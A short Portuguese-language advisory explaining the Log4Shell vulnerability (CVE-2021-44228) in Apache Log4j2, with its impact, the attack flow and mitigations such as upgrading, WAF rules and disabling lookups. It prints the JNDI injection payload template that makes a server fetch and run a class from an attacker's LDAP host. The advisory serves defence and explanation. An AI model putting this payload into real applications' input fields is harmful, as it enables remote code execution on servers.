Log4Shell - 0 Day do Log4j

Resumo:

Esta é uma vulnerabilidade que possibilita a execução remota de código e é simples de explorar;
Já existe correção disponível;
Muitos WAF podem ter regras habilitadas para possibilitar a mitigação;

Qual o impacto?

Baseado nas informações dispostas no CVE-2021-44228, as versões do Apache Log4j2 <= 2.14.1, possuem features JNDI com falhas de segurança que não protegem contra os ataques direcionados ao LDAP e DSN em consumo endpoint remotos. O que possibilita um invasor executar um código remoto manipulando uma mensagem de log gerada pelo log4j2 .

O impacto dessa vulnerabilidade é extremamente grande, visto que o Apache Log4j2 é massivamente utilizado por programadores Java para registro em trilhas de auditoria.

Explicando:

fluxo

As versões modernas do Log4J2 permitem pesquisas JNDI, que permitem consultas a interface LDAP e DNS para enriquecimento dos Logs, o que pode acabar permitindo o apontamento ( URI ) para uma classe que pode ser carregada de forma indevida.

log.info(“Usuario logado: {}”, login);

Onde o user nesse caso pode ser um apontamento para uma classe remota que será instanciada no momento do ataque. Caso o atacante insira o código no campo login o valor

${jndi:ldap://<endereco>:<porta>/<uri>}

Quando o valor login é passado como a string acima, o Log4J2 faz uma requisição ao endereço passado e recebe como retorno um objecto ( DN ) que possui campos que instruem a obtenção da classe remota. Finalmente, o log4j carrega em memória a classe e a executa.

Se a classe apontada for maliciosa um atacante pode no momento a construção da classe executar comandos no ambiente local do servidor, podendo assim executar, por exemplo, um shell reverso ou instalação de malwares.

O que pode ser feito?

Atualizar a biblioteca Apache Log4J para a versão 2.15;
Caso tenha um WAF, atualizar as regras do WAF para bloqueio do payload citado;
Desabilitar a funcionalidade de pesquisa para servidores remoto do seu log4j formatMsgNoLookups=true